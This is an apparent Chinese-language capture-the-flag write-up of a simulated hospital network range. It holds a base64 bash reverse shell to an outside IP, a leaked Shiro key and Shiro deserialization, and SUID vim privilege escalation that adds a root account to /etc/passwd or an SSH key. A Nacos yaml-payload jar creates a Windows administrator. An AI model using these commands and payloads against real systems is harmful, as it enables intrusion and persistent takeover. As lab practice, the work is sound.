概述 在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个 flag,分布于不同的靶机。
架构
内网地址
Host or FQDN
简要描述
172.30.12.5
Web01
Spring + Shiro
172.30.12.6
Server02
Nacos
172.30.12.236 172.30.54.179
Web03
Fastjson
172.30.54.12
Web04
Grafana + Postgresql
前期信息打点 不知道为什么fscan最新版扫不出来8080端口,改成了1.8.2发现可以了
fscan扫描得到如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 D:\PenetrationW>.\fscan64 -h 39.99.231.151 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 39.99.231.151 is alive [*] Icmp alive hosts len is: 1 39.99.231.151:22 open 39.99.231.151:8080 open [*] alive ports len is: 2 start vulscan [*] WebTitle: http://39.99.231.151:8080 code:302 len:0 title:None 跳转url: http://39.99.231.151:8080/login;jsessionid=9823AC0A558D9D6AE0C5066806C444E4 [*] WebTitle: http://39.99.231.151:8080/login;jsessionid=9823AC0A558D9D6AE0C5066806C444E4 code:200 len:2005 title:医疗管理后台 [+] http://39.99.231.151:8080 poc-yaml-spring-actuator-heapdump-file
发现jsessionid=xxx,明显的Shiro特征,同时发现有acatuator泄露
访问网站,弱口令admin/admin123
直接登录了,但是没啥东西
8080端口存在一个网站和heapdump
文件,访问/actuator
目录
通过目录扫描发现其存在 Spring Boot Heapdump 泄露
<39.99.231.151:8080/actuator/heapdump>
我们通过whwlsfb/JDumpSpider 对Heapdump文件进行分析,得到 Shiro key
1 2 3 4 5 6 7 D:\PenetrationW\JDumpSpider>java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump =========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES ===========================================
得到密钥
漏洞利用(Spring Boot Heapdump + Shiro Deserialization)
生成内存马,蚁剑连接
这个登录不进去,把文件改为jsp后缀可以(php后缀也不行)
连接过后我们直接反弹 shell
1 2 bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMjQ5Ljk5LjcxLzc5OSAwPiYx}|{base64,-d}|{bash,-i}'
反弹过后,直接尝试查找 SUID 权限,根据输出发现vim.basic
具有S
权限,vim.basic
可以直接以root
身份进行文件编辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 app@web01:/$ id id uid=1000(app) gid=1000(app) groups =1000(app) app@web01:/$ find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null /usr/bin/vim.basic /usr/bin/su /usr/bin/newgrp /usr/bin/staprun /usr/bin/passwd /usr/bin/gpasswd /usr/bin/umount /usr/bin/chfn /usr/bin/stapbpf /usr/bin/sudo /usr/bin/chsh /usr/bin/fusermount /usr/bin/mount /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device
非预期(猜flag地址) vim.basic /root/flag/flag01.txt
莫名其妙就出了
1 2 3 4 5 6 7 8 9 ^C) O)) O)) O)) root@hcss-ecs-6260:~# O) O)) O)) O)) O)) O)) O)))) O) O)) O)O) O) O)) O)) O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O))) O)) flag01: flag{5dad6d4a-087c-4de3-bb10-f899ac1c69a9}
为了后面方便操作,进行提权,输入
一次性提权,不好用 1 vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
就可以这个提权,也可以直接写入root公钥
1 2 3 4 vim.basic /root/.ssh/authorized_keys i (公钥) esc : wq!
正宗提权方法(升级交互式终端) 升级交互式终端,以欺骗某些命令让它们以为在合适的终端运行,vim.basic有suid权限,但是必须有tty,也就是交互式shell
1 2 3 4 5 6 7 8 python3 -c "import pty;pty.spawn('/bin/bash')" script /dev/null -c bash ctrl+z stty raw -echo ; fg reset
通过 vim.basic 修改 /etc/passwd 进行提权
1 2 openssl passwd -1 -salt 123 123456
生成密码 在 /etc/passwd 文件中添加个账户
1 2 3 4 5 vim /etc/passwd hacker:$1$123$7mft0jKnzzvAdU4t0unTG1 :0:0:/root:/bin/bash
添加之后,su切换到新添加的帐号,这台服务器是 web01,获取 flag01 的值
就有root权限了
内网扫描 上传 fscan 进行扫描内网网段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.30.12.5 netmask 255.255.0.0 broadcast 172.30.255.255 inet6 fe80::216:3eff:fe23:29cf prefixlen 64 scopeid 0x20<link > ether 00:16:3e:23:29:cf txqueuelen 1000 (Ethernet) RX packets 67492 bytes 95599182 (95.5 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 16889 bytes 2373197 (2.3 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 784 bytes 68783 (68.7 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 784 bytes 68783 (68.7 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ./fscan -h 172.30.12.5/24 -hn 172.30.12.5 bash: line 14: ./fscan: Permission denied chmod 777 fscan./fscan -h 172.30.12.5/24 -hn 172.30.12.5 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.30.12.236 is alive (icmp) Target 172.30.12.6 is alive [*] Icmp alive hosts len is: 2 172.30.12.6:445 open 172.30.12.6:139 open 172.30.12.6:135 open 172.30.12.236:22 open 172.30.12.236:8080 open 172.30.12.236:8009 open 172.30.12.6:8848 open [*] alive ports len is: 7 start vulscan [*] NetBios 172.30.12.6 WORKGROUP\SERVER02 [*] NetInfo [*]172.30.12.6 [->]Server02 [->]172.30.12.6 [*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台 [*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found [+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos [+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
发现如下两个资产
1 2 http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
上传frp进行socks5代理 访问http://172.30.12.6:8848/nacos/
内网172.30.12.6
存在一台nacos
服务,存在默认密码 nacos/nacos
http://172.30.12.236:8080 是存在fastjson服务
flag02(Nacos Client Yaml Deserialization) 我们先访问 Nacos 服务:http://172.30.12.6:8848
反手一个弱口令进入后台nacos:nacos
,获取到的配置文件内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 server: port: 8080 servlet: context-path: /hello spring: application: name: db-config cloud: nacos: discovery: server-addr: 127.0.0.1:8848 config: server-addr: 127.0.0.1:8848 file-extension: yaml namespace: dev group: DEFAULT_GROUP data-id: db-config.yaml datasource: mysql: url: jdbc:mysql://localhost:3306/test?useSSL=false &serverTimezone=UTC&allowPublicKeyRetrieval=true username: root password: P@ssWord!!! redis: host: localhost port: 6379 management: endpoints: web: exposure: include: '*'
我们用charonlight/NacosExploitGUI 工具检测一下存在的漏洞
根据检测结果我们尝试Nacos Client Yaml
反序列化漏洞,修改artsploit/yaml-payload 制作一个恶意包
只需要修改AwesomeScriptEngineFactory.java
文件中的内容即可,我们直接添加一个管理员账户:
1 2 3 4 5 6 7 8 9 10 11 public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory () { try { Runtime.getRuntime().exec("net user fmo fmo /add" ); Runtime.getRuntime().exec("net localgroup administrators fmo /add" ); } catch (IOException e) { e.printStackTrace(); } }
然后我们将上面的源代码编译为jar包
1 2 3 4 5 6 7 8 9 10 11 12 13 D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\javac -version javac 1.8.0_421 D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\javac src/artsploit/AwesomeScriptEngineFactory.java D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\jar -cvf yaml-payload.jar -C src/ . 已添加清单 正在添加: artsploit/(输入 = 0) (输出 = 0)(存储了 0%) 正在添加: artsploit/AwesomeScriptEngineFactory.class(输入 = 1671) (输出 = 702)(压缩了 57%) 正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 = 1562) (输出 = 410)(压缩了 73%) 正在忽略条目META-INF/ 正在添加: META-INF/services/(输入 = 0) (输出 = 0)(存储了 0%) 正在添加: META-INF/services/javax.script.ScriptEngineFactory(输入 = 36) (输出 = 38)(压缩了 -5%)
在当前目录发现新jar文件,上传到Web01
入口机器中,然后起一个Web服务
使之可以访问
1 2 python3 -m http.server 80
另外Jar路径填内网地址(http://172.30.12.5/payload.jar),同时可以多执行几次,确保成功
之后进行常规的远程桌面链接即可链接即可(不用管端口号),最后在Administrator
用户目录下发现 flag02(这台电脑是Windows)
flag03(Fastjson Deserialization) 我们接着访问医院后台管理平台服务:http://172.30.12.236:8080/
Burp抓取登录包发现发送的为Json
数据,猜测为Fastjson
,发送Payload
后得到版本号1.2.45
1 {"@type" : "java.lang.AutoCloseable"
172.30.12.236:8080是打Fastjson反序列化,这里直接用现成的burp插件amaz1ngday/fastjson-exp ,抓登录的请求包,然后选择操作,再选择拓展,无论是send to fastjsonEcho还是send to fastjsonInject插件都能检验出来然后帮你拿shell 不过生成的马连不上,会显示initShellOpertion Fail,因为目标开启了session持久化,并且我们向session存入了不可被反序列化的数据,导致后续使用此session我们无法获取到之前存入的数据,解决办法是把生成的shell中的session替换成application,但他这个请求我没怎么看懂,改不来。但这个插件可以直接在消息请求头那里执行命令然后拿到执行结果,所以也不用连上去
因为我想改密码,输入了命令passwd
,导致web03靶机连接不了了,也不能getshell了,后面的部分也就打不了了,害,太可惜了,希望以后能补回来
flag04(Grafana Unauthorized Arbitrary File Reading & PostgreSQL Getshell) 好像是多次代理的玩意
参考链接 春秋云镜仿真靶场Hospital实操 春秋云境-Hospital 春秋云镜 Hospital Writeup